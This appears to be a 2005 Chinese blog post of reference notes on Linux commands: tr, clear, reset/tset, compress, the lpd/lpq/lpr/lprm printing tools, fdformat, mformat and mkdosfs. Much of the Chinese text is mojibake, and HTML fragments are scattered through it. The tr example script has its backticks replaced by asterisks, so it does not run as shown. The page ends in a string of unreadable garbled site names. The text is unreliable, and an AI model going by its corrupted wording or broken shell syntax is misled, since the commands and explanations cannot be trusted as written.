### 字串真实重现

shell>> expr quote thisisatestformela
thisisatestformela
 
 名称: tr

### 1.比方说要把目录下所有的大写档名换ؓ(f)写档名?

g有很多方式,"tr"是其中一U?

#!/bin/sh

dir="/tmp/testdir";
files=****find $dir -type f****;
for i in $files
do
dir_name=****dirname $i****;
ori_filename=****basename $i****
new_filename=****echo $ori_filename | tr [:upper:] [:lower:]**** > /dev/null;
#echo $new_filename;
mv $dir_name/$ori_filename $dir_name/$new_filename
done


### 2.自己试验?..lowercase to uppercase

tr abcdef...[del] ABCDE...[del]
tr a-z A-Z
tr [:lower:] [:upper:]

shell>> echo "this is a test" | tr a-z A-Z > www
shell>> cat www
THIS IS A TEST

### 3.L不想要的字串

shell>> tr -d this ### L有关 t.e.s.t
this

man
man
test
e

### 4.取代字串

shell>> tr -s "this" "TEST"
this
TEST
th
TE

 

指o(h)Qclear
用途:(x)清除萤幕用?/p>

使用Ҏ(gu)Q在 console 上输?clear?/p>


名称: reset, tset
使用Ҏ(gu): tset [-IQqrs] [-] [-e ch] [-i ch] [-k ch] [-m mapping] [terminal]

使用说明:

reset 其实?tset 是一同个命o(h)Q它的用途是讑֮l端机的状态。一般而言Q这个命令会(x)自动的从环境变数、命令列或是其它的组态档军_目前l端机的型态。如果指定型态是 ? 的话Q这个程式会(x)要求使用者输入终端机的型别?/p>

׃q个E式?x)将l端回原始的状态,除了?login 时用外Q当pȝl端机因为程式不正常执行而进入一些奇怪的状态时Q你也可以用它来重设l端机o 例如不小心把二进位档?cat 指o(h)q到l端机,怼(x)有终端机不再回应键盘输入Q或是回应一些奇怪字元的问题。此时就可以?reset 终端机回复臛_始状态。选项说明:


-p
终端机cd昄在萤q上Q但不做讑֮的动作。这个命令可以用来取得目前终端机的类别?br />-e ch
?erase 字元设成 ch
-i ch
中断字元设?ch
-k ch
删除一行的字元设成 ch
-I
不要做设定的动作Q如果没有用选项 -Q 的话Qerase、中断及(qing)删除字元的目前g然会(x)送到萤幕上?br />-Q
不要昄 erase、中断及(qing)删除字元的值到萤幕上?br />-r
终端机cd印在萤幕上?br />-s
设?TERM 用的命o(h)用字串的型式送到l端ZQ通常?.login ?.profile 中用
范例:
让用者输入一个终端机型别q将l端到该型别的预讄态?br /># reset ?


?erase 字元讑֮ control-h
# reset -e ^B


设定用的字串显C在萤幕?br /># reset -s
Erase is control-B (^B).
Kill is control-U (^U).
Interrupt is control-C (^C).
TERM=xterm;

名称Qcompress

使用权限Q所有用?/p>


使用方式Qcompress [-dfvcV] [-b maxbits] [file ...]


说明Q?br />compress 是一个相当古老的 unix 档案压羃指o(h)Q压~后的档案会(x)加上一?.Z 延档名以区别未压羃的档案,压羃后的档案可以?uncompress 解压。若要将C档案压成一个压~档Q必d档?tar h再压~。由?gzip 可以产生更理想的压羃比例Q一般h多已改用 gzip 为档案压~工兗?/p>


参数Q?br />c 输出l果x准输备(一般指荧幕Q?br />f 写入档案Q若目的档已l存在,则会(x)被覆?(force)
v 程式执行的讯息印在荧幕?(verbose)
b 讑֮共同字串数的上限Q以位元计算Q可以设定的gؓ(f) 9 ?16 bits 。由于D大,能用的共同字串p多,压羃比例p大,所以一般用预讑ր?16 bits (bits)
d 压~档解压~?br />V 列出版本讯息


范例Q?/p>


?source.dat 压羃?source.dat.Z Q若 source.dat.Z 已经存在Q内容则?x)被压羃档覆盖?/p>


compress -f source.dat


?source.dat 压羃?source.dat.Z Qƈ列印出压~比例?br />-v ?-f 可以一起?/p>


compress -vf source.dat


压~后的资料输出后再导?target.dat.Z 可以改变压羃档名?/p>


compress -c source.dat > target.dat.Z


-b 的D大,压羃比例p大,范围?9-16 Q预讑ր是 16 ?/p>


compress -b 12 source.dat


?source.dat.Z 解压?source.dat Q若档案已经存在Q用者按 y 以确定覆盖档案,若?-df E式则会(x)自动覆盖档案。由于系l会(x)自动加入 .Z 为g伸档名,所?source.dat ?x)自动当?source.dat.Z 处理?/p>


compress -d source.dat
compress -d source.dat.Z

 

名称Q?lpd

使用权限Q?所有用?/p>

使用方式Qlpd [-l] [#port]
lpd 是一个常ȝ印表机管理程式,它会(x)Ҏ(gu) /etc/printcap 的内Ҏ(gu)理本地或远端的印表机?etc/printcap 中定义的每一个印表机必须?/var/lpd 中有一个相对应的目录,目录中以 cf 开头的档案表示一个等待送到适当装置的印表工作。这个档案通常是由 lpr 所产生?/p>

lpr ?lpd l成了一个可以离U工作的pȝQ当你?lpr Ӟ印表Z需要能立即可用Q甚至不用存在。lpd ?x)自动监视印表机的状况,当印表机上线后,便立卛_档案送交处理。这个得所有的应用E式不必{待印表机完成前一工作?/p>

参数Q?/p>


-l: 一些除错讯息显C在标准输出上?br />#port: 一般而言Qlpd ?x)?getservbyname 取得适当?TCP/IP portQ你可以使用q个参数 lpd 使用指定?port?/p>

范例Q?br />q个E式通常是由 /etc/rc.d 中的E式在系l启始阶D|行?/p>


名称 lpq
-- 昄列表列中未完成的工作 用法

lpq [l]
[user]

说明
lpq ?x)显C由 lpd 所理的列表机贮列中未完成的项目?/p>

范例
范例 1. 昄所有在 lp 列表列中的工?/p>


# lpq -PlpRank Owner Job Files Total Size1st root 238 (standard input) 1428646 bytes

 

相关函数
lpr,lpc,lpd


名称Q?lpr

使用权限Q?所有用?/p>

使用方式Qlpr [ -P printer ]
档案或是由标准输入送进来的资料送到印表列之中,印表机管理程?lpd ?x)在E后这个档案送给适当的程式或装置处理。lpr 可以用来料资送给本地或是q端的主机来处理?/p>

参数Q?/p>


-p Printer: 资料送至指定的印表机 PrinterQ预讑րgؓ(f) lp?/p>

范例Q?br />?www.c ?kkk.c 送到印表?lp?br />lpr -Plp www.c kkk.c

 

名称: lprm
-- 一个工作由印表列中U除 用法

/usr/bin/lprm

[file...]

说明
未完成的印表机工作?x)被攑֜印表列之中,q个命o(h)可用来将常未送到印表机的工作取消。由于每一个印表机都有一个独立的贮列Q你可以?-P q个命o(h)讑֮惌作用的印列机。如果没有设定的话,?x)用系l预讄印表机?/p>

q个命o(h)?x)检查用者是否有_的权限删除指定的档案Q一般而言Q只有档案的拥有者或是系l管理员才有q个权限?/p>

范例
印表机 hpprinter 中的W?1123 号工作移?/p>


lprm -Phpprinter 1123


第 1011 号工作由预设印表ZU除


lprm 1011

 

名称Q?fdformat

使用权限Q?所有用?/p>

使用方式Qfdformat [-n] device

使用说明 :
Ҏ(gu)定的软碟|进行低阶格式化。用这个指令对软碟格式化的时候,最好指定像是下面的装置Q?/p>


/dev/fd0d360 碟?A: Q磁片ؓ(f) 360KB 碟
/dev/fd0h1440 碟?A: Q磁片ؓ(f) 1.4MB 碟
/dev/fd1h1200 碟?B: Q磁片ؓ(f) 1.2MB 碟
如果使用像是 /dev/fd0 之类的装|,如果里面的磁不是标准容量,格式化可能会(x)p|。在q种情况之下Q用者可以用 setfdprm 指o(h)先行指定必要参数?/p>

参数Q?/p>


-n 关闭认功能。这个选项?x)关闭格式化之后的确认步骤?/p>

范例Q?/p>

fdformat -n /dev/fd0h1440

磁机 A 的磁片格式化?1.4MB 的磁片。ƈ且省略确认的步骤?/p>


名称Q?mformat

使用权限Q?所有用?/p>

使用方式Q?/p>

mformat [-t cylinders] [-h heads] [-s sectors] [-l volume_label] [-F] [-I fsVer-sion] [-S sizecode] [-2 sectors_on_track_0] [-M software_sector_size] [-a] [-X] [-C] [-H hidden_sectors] [-r root_sectors] [-B boot_sector] [-0 rate_on_track_0] [-A rate_on_other_tracks] [-1] [-k] drive:

在已l做q低阶格式化的磁片上建立 DOS 档案pȝ。如果在~译 mtools 的时候把 USE_2M 的参数打开Q部分与 2M 格式相关的参数就?x)发生作用。否则这些参敎ͼ像是 S,2,1,MQ不?x)发生作用?/p>

参数Q?/p>

-t 柱QsynliderQ数
-h 头QheadQ数
-s 每一轨的磁区数
-l 标签
-F 磁格式化?FAT32 格式Q不q这个参数还在实验中?br />-I 讑֮ FAT32 中的版本受这当然也还在实验中?br />-S 区大小代码Q计方式ؓ(f) sector = 2^(大小代码+7)
-c 丛QclusterQ的区数。如果所l定的数字会(x)D丛数超q?FAT 表的限制Qmformat ?x)自动放大磁区数?br />-s
-M 软体区大小。这个数字就是系l回报的区大小。通常是和实际的大相同?br />-a 如果加上q个参数Qmformat ?x)生一l?Atari pȝ的序L(fng)q块软碟?br />-X Y格式化?XDF 格式。用前必须先用 xdfcopy 指o(h)对Y作低阶格式化的动作?br />-C 产生一个可以安?MS-DOS 档案pȝ的磁媄像档Qdisk imageQ。当然对一个实体磁机下这个参数是没有意义的?br />-H 隐藏区的数目。这通常适用在格式化碟的分割区Ӟ因ؓ(f)通常一个分割区的前面还有分割表。这个参数未l测试,能不用就不用?br />-n 碟序号
-r 根目录的大小Q单位是区数。这个参数只?FAT12 ?FAT16 有效?br />-B 使用所指定的档案或是设备的开机磁区做片磁片或分割区的开机磁区。当然当中的体参数?x)随之更动?br />-k 量保持原有的开机磁区?br />-0 W?0 轨的资料传输?br />-A W?0 轨以外的资料传输?br />-2 使用 2m 格式
-1 不?2m 格式

范例Q?br />mformat a:

q样?x)用预设值把 a: Q就?/dev/fd0Q里的磁片格式化?/p>


名称Q?mkdosfs

使用权限Q?所有用?/p>

使用方式Q?mkdosfs [ -c | -l filename ]
[ -f number_of_FATs ]
[ -F FAT_size ]
[ -i volume_id ]
[ -m message_file ]
[ -n volume_name ]
[ -r root_dir_entry ]
[ -s sector_per_cluster ]
[ -v ]
device
[ block_count ]


说明Q?建立 DOS 档案pȝ?device 指你惌建立 DOS 档案pȝ的装|代受像?/dev/hda1 {等?block_count 则是你希望配|的区块数。如?block_count 没有指定则系l会(x)自动替你计算W合该装|大的区块数?/p>

参数Q?/p>


-c 建立档案pȝ之前先检查是否有坏轨?br />-l 从得定的档案中读取坏轨记录?br />-f 指定档案配置表(F(tun)AT , File Allocation Table)的数量。预讑րgؓ(f) 2 。目?Linux ?FAT 档案pȝ不支援超q?2 ?FAT 表。通常q个不需要改?br />-F 指定 FAT 表的大小Q通常?12 或是 16 个位元组?2 位元l通常用于碟片,16 位元l用于一般硬的分割区,也就是所谓的 FAT16 格式。这个值通常pȝ?x)自己选定适当的倹{在碟片上?FAT16 通常不会(x)发生作用Q反之在碟上用 FAT12 亦然?br />-i 指定 Volume ID。一般是一?4 个位元组的数字,像是 2e203a47 。如果不l系l会(x)自己产生?br />-m 当用者试囄q片片或是分割区开机,而上面没有作业系l时Q系l会(x)l用者一D警告讯息。这个参数就是用来变更这个讯息的。你可以先用档案~辑好,然后用这个参数指定,或是?br />-m -
q样pȝ?x)要求你直接输入q段文字。要特别注意的是Q档案里的字串长度不要超q?418 个字Q包括展开的蟩栏符PTABQ和换行W号Q换行符号在 DOS 底下两个字元!Q?br />-n 指定 Volume NameQ就是磁标{。如同在 DOS 底下?format 指o(h)一Pl不l都可以。没有预讑ր{?br />-r 指定根目录底下的最大档案数。这里所谓的档案数包括目录。预讑ր是在Y上?112 或是 224 Q在碟上是 512。没事不要改q个数字?br />-s 每一个磁丛(clusterQ的区数。必L 2 的次Ҏ(gu)。不q除非你知道你在作什么,q个g要ؕl?br />-v 提供额外的讯?/p>

范例Q?br />mkdosfs -n Tester /dev/fd0 ?A 槽里的磁片格式化ؓ(f) DOS 格式Qƈ标{设?Tester



Alpha 2005-07-19 20:33 发表评论
]]>
վ֩ģ壺 | ɽ| Ǽ| | | ƽԭ| Ʊ| ˳| | ɣ| ˳| | ҽ| | | Ž| | | Ϫ| | ޽| | | | ͨ| Ҧ| | | ̫| | | ʷ| Դ| ٳ| | | | ɽ| Ͷ| ̨| ָ|